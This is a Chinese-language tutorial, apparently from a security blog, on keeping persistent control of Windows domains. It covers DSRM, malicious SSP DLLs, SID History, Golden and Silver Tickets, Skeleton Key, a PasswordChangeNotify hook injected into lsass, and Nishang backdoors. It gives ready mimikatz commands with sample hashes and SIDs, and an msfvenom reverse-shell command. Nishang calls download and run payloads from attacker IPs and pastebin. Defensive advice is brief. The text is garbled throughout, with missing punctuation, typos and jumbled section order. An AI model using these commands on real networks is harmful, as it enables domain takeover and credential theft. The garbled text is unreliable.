内网渗透基石篇权限维持分析

 



一DSRM域后门

1.DSRM域后门简介

DSRM(目录服务恢复模式,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项每个域控制器占用一个本地账户账户(也就是DSRM账户)DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原修复重建活动目录数据库,使环境的运行恢复正常修改方法修改DSRM密码的基本原理是在DC上运行ntdsutil命令行工具在渗透测试中,可以使用DSRM域对域环境进行持久化操作如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步在Windows Server 2008以后版本的系统中无需安装此补丁方法如果域控制器的系统版本为Windows Server 2003则不能进行使用我们知道,域控制器本地管理员和密码(与管理员账号和密码不同)DSRM 帐号可以作为一个域控制器的本地管理品用户,通过网络连接控制器,驯服控制域控制器

1.修改DSRM密码的方法

    NTDSUTIL: 打开ndsuil
    set dsrm password:设置DSRM的密码reset pssword on server null:在当前域控制器上恢复DSRM密码:修改后的密码q(第1次):退出DSRM密码设置模式q(第2次):退出ntdsutil


    2.如果域控制器的系统版本为 Windows Server 208 已安装 KB961320 及以上,可以将 DSRM 密码同步为已存在的域密码常用命令说明如下

      NTDSUTIL: 打开ntdsutilSET DSRM PASSWORD:设置DSRM的密码SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步q(第1次):退出DSRM密码设置模式q(第2次):退出ntdsutil


      2.实验操作

      1.在域控上运行mimikatz,分别读取域用户的NTLM hash和本地管理员的NTLM hash8.3.2 SSP维持域控权限

      读域用户

        privilege::debug
        lsadump::lsa /patch /name:lrbtgt




        2.读取本地管理员(DSRM)

          token::elevate
          lsadump::sam


          3.将DSRM的哈希值与域用户同步验证下是否同步成功

          修改DSRM登录方式

          注册表路径是
          HKLMSystemCurrentControlSetControlLsaDSRMAdminLogonBehavior
          (系统默认是不存在的,请手动添加),其可能的值如下:

          0(默认值):只有当 DC 重启进入 DSRM 时,你才能使用 DSRM 管理员帐户

          1:只有当本地AD DS服务停止时,你才能使用DSRM管理员帐户登录

          2:无论哪一种情况,你都可以使用 DSRM 管理员帐户登录(不推荐,因为密码策略并不会应用到 DSRM 的管理员帐户)

          我们需要修改其值为2

          可以在powershell下执行

            new-itemproperty "hklm:SystemCurrentControlSetControlLsa" -name "DSRMAdminLogonBehavior" -value 2 -propertyType DWORD




            4.使用DSRM远程登录

            在域内机器已以管理员身份运行mimikatz,执行如下命令

              privilege::debug
              sekurlsa::pth /domain:domainname /user:username /ntlm:ntlmhash

              3.防御措施

              定期检查注册表中用于控制DSRM登录方式的键值hklm:systemcurrentcontrolsetcontrollsa确认该键值为1,或者删除键值定期修改城中所有城控制器的DSRM账号当设置活动目录服务还原模式的管理员密码会被记录在 4794 日志中

              二SSP维持域控制权限

              SSP(Security Support Provider)是Windows操作系统安全机制的提供者简单地说,SSP是个DlL文件,主要支持Windows操作系统的身份认证功能,例如NTLMKetberosNegotiareSeure Channel (Schannel )DigestCredental (CredSSP )SSPI (Security Support Provider Interfce.安全支持提供程序接口)是Windows在执行认证操作时使用的API接口可以说,SSPI是SSP的API接口如果获得了网络中目标机器的系统,可以使用该方法进行持久权限化操作其主要原理是:LSA(本地安全机构)用于验证身份;lsass.exe 是 Windows 的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到 lsass.exe 进程中但是,破坏攻击者 LSA 进行了扩展,自定义了恶意的 DLL文件,在系统启动时将其加载到LSASS.EXE进程中,就能够获取的Lsass.exe进程中的明文密码这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码,可以针对这一点采取相应的防御措施

              1.使用mimikatz打开

              privilege::debug

              misc::memssp

              2.登录当前用户日志输入用户名和密码后登录,获取明文密码,密码存储在文件C:WindowsSystem32mimilsa.log中

              1.实验操作

              实验环境:server2007

              域主机 win7

              1.添加ssp

              将mimilib.dll复制到域控c:windowssystem32下



              2设置SSP

              修改域控注册表位置:



              3.在Security Packages下添加mimilib.dll

              3重启系统

              域控重启后在
              c:windowssystem32
              可看到新生成的文件kiwissp.log,里面含用户名和密码



              三 SID历史域后门

              每个用户拥有自己的 SIDSID 的作用主要是追踪安全主体控制用户连接资源时的访问权限SID 历史是在迁移过程中需要使用的一个属性

              如果将域中域的用户迁移到 B 域中,那么在 B域中新建的 SID 会唤醒一个用户影响迁移后用户的权限,导致迁移后无法访问用户本来的资源SID的作用是在域迁移中过程域用户的访问,即如果迁移后用户的SID改变了系统,保持迁移其原始的SID到迁移后的用户的SID属性中,使迁移后的SID用户的历史用户或者保持原有权限能够访问其原来可以访问的资源使用mimikaz,可以将SID历史属性添加到域中任意用户的SID历史属性中在渗透测试中,如果获得了管理员权限(等同于)域管理员的权限)就可以将 SIDHisoy 实现为持久化的方法

              将Administrator的SID添加到恶意用户测试的SID History属性中使用powershell查看用户的SID History属性

              利用前提:

              1.实验操作

              1. 当前域与其他域有信任关系



              2. 开启SID History,与其中任意一个开启SID History信任,即可使用下面的方法



              2.GOLDen TICKet

              Golden Ticket介绍

              在渗透测试中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控制的机器进行断网处理,然后进行日志分析取证然而,攻击者往往会留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就可以很快拿到域控制器权限

              krbtgt是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NYLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务

              攻击者在使用域的Golden Ticket(黄金票据)进行票据攻击时,通常需要掌握以下信息:

              需要伪造的域管理员用户名

              完整的域名

              域SID

              krbtgt的NTLM Hash或AES-256值

              使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在),因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确的加密,那么任意KDC使用krbtgt将TGT解密后,TGT的所有信息都是可信的

              (1)首先获取krbtgt的NTLM Hash:

              在域控中输入如下命令获取krbtgt账号的NTLM Hash:

                mimikatz lsadump:dcsync /domain:pinger.testlab /user:krbtgt




                (2)获取域SID:

                直接输入如下命令,即可查看域内所有账号的SID,去掉末尾的就是域的SID:



                (3)获取域管账号:

                输入如下命令获取:



                (4)获取域名:

                直接输入ipconfig /all就可以获取了;

                (5)使用mimikatz生成黄金票据:

                然后在低权的机器上使用mimikatz生成黄金票据:

                mimikatz kerberos::golden /admin:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /ticket:Administrator.kiribi



                6.使用mimikatz导入票据进行PTT了:

                7.最后在通过查看DC的C盘验证下权限:

                dir \dcc$



                3.Golen TIcket 攻击的防御措施

                管理员通常会修改域管理员的密码,但有时会忘记将krbtgt密码一并重置,所以,要想防止Golden Ticket攻击,就需要将krbtgt密码重置两次

                四Silver Ticket(白银票据)

                Silver Ticket(白银票据)不同于Golden TicketSilver Ticket的利用过程是伪造TGS,通过已知授权服务密码生成一张可以访问该服务的TGT因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志而Golden Ticket在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT真伪进行校验

                Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号密码的散列值,因此更加隐蔽

                Golden Ticket使用krbtgt账号的密码散列值,利用伪造最高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控制器权限而Silver Ticket会通过相应的账号服务来伪造TGS,范围有限,只能获得对应的权限服务Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的

                攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:

                域名

                域SID

                目标服务器的FQDN

                可利用的服务

                服务账号的NTLM Hash

                需要伪造的用户名

                1.实验操作

                (1)首先获取服务账号的NTLM Hash:

                在域控中输入如下命令:



                (2)使用mimikatz生成白银票据:



                然后使用mimikatz生成CIFS服务的白银票据并导入内存:

                mimikatz kerberos::golden /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /target:dc.pinger.testlab /service:cifs /rc4:635260b8259e41feed71f6f0b0fd0f64 /user:Administrator /ptt



                (3).成功拿到目录



                2.Silver Ticket攻击的防范措施

                在内网中安装杀毒软件,及时更新系统补丁

                使用组策略在域中进行相应的设置,现值mimikatz在内网中的使用

                计算机的账号密码默认30天清理一次,检查该设置是否生效

                3.实验操作

                (1)在域控中直接执行mimikatz,如下命令所示:

                  mimikatz misc::skeleton




                  (2)然后直接在低权限的机器上尝试用万能密码登录:

                  万能密码为mimikatz,使用SMB登录

                    shell net use \dcipc$ "mimikatz" /user:pinger.testlabAdministrator




                    4.Skeleton Key

                    使用Skeleton Key(万能密码),可以对域内权限进行持久化操作

                    Skeleton Key攻击的防范措施

                    域管理员要设置强口令,确保恶意代码不会在域控制器内执行

                    在所有域用户中启动双因子认证,例如智能卡认证

                    启动应用程序的白名单,以限制mimakatz在域控制器中的运行

                    Hook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步攻击者可以利用该功能获取用户修改密码时输入的密码明文

                    5.Hook PasswordChangeNotify攻击的防御措施

                    使用Hook PasswordChangeNotify不需要重启系统不会在系统磁盘上留下DLL文件不需要修改注册表如果Hook PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的所以,在日常的网络维护工作中,需要对PowerShell进行严格检视,并启用约束语言模式,对Hook PasswordChangeNotify进行防御

                    1.实验操作

                    分别输人如下命令,使用Invoke RefletivePEIniection.psl将HookPasswordChange.dl注入内存,在目标系统中启动管理员权限的PowerShell

                    Import-Module .Invoke-ReflectivePEInjection.psl

                    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

                    修改用户密码

                    net user administrator 123

                    查看c:windows
                    emppasswords.txt可以看到修改后的密码

                    6. Nishang 下的脚本后门分析与防范

                    Nishang是基于Porsthel的渗透测试工具,集成了很多框架脚本及各种 Payload在Nishang环境中对一些脚本后门进行分析

                    1. HTTP-Backdoor脚本

                    此脚本可以帮助攻击者在目标主机上下载和执行Powershell脚本,接收来自第三方网站的指令,在内存中执行PowerShell脚本,其语法如下

                      TTP-Backdoor -CheckURL http://

                      -PayloadURL http://

                      -MagicString start -StopString stop
                      CheckURL:给出一个URL地址如果该地址存在,Magistring中的值就会执行Payload,下载并运行攻击者的脚本-PayloadURL: 给出需要下载的PowerShell脚本的地址-StopString: 判断是否存在CheckURL返回的字符串,如果存在则停止执行


                      2.Add-ScrnSaveBackdoor

                        Add ScrnSaveBackdoor脚本可以帮助攻击者利用Windows的屏幕保护程序来安插一个隐藏的后门
                        Add-ScrnSaveBackdoor -Payload "powershe1l.exe -ExecutionPolicy Bypass -ncprofile -noexit -c Get-Process"

                        ##执行Payload
                        Add-ScrnsaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm -Arguments HTTP-Backdoor http://... start123 stopthis

                        #在PowerShell中执行一个HTTP-Backdoor脚本
                        Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code exec.psl -PayloadURL:指定需要下载的脚本的地址Arguments:指定需要执行的函数及相关参数攻击者也会使用msfvenom生成一个PowerShell, 然后执行如下命令,返回一个meterpretermsfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell


                        3.Execute- -OnTime

                          Execute-OnTime脚本用于在目标主机上指定PowerShell脚本的执行时间,与HTTP-Backdoor脚本的使用方法相似,只不过增加了定时功能,其语法如下PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get- Information -Time 23:21 -CheckURL http:/ /pastebin. com/ raw .php?i=zhyf8rwh一 Stopstring stoppayload
                          PayloadURL:指定下载的脚本的地址-Arguments: 指定要执行的函数名-Time: 设置脚本执行的时间,例如-Time 23:21-CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行


                          4. Invoke- ADSBackdoor

                          Invoke-ADSBackdoor脚本能够在NTFS数据流中留下一个 永久性的后门这种方法的威胁是很大的,因为其留下的后门是永久性的,且不容易被发现

                          Invoke-ADSBackdoor脚本用于向ADS注入代码并以普通用户权限运行

                            Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1


                            总结

                            后门是权限维持的重要一步,要想持续控制,就得做一些后门上去,后门是绕过安全控制获取对程序或系统访问权限的方法此篇文章主要介绍一些常用的生成后门的方式,以及如何进行防御后门

                            精彩推荐










                                关注 黑客与极客


                            微信扫一扫关注公众号

                            0 个评论

                            要回复文章请先登录注册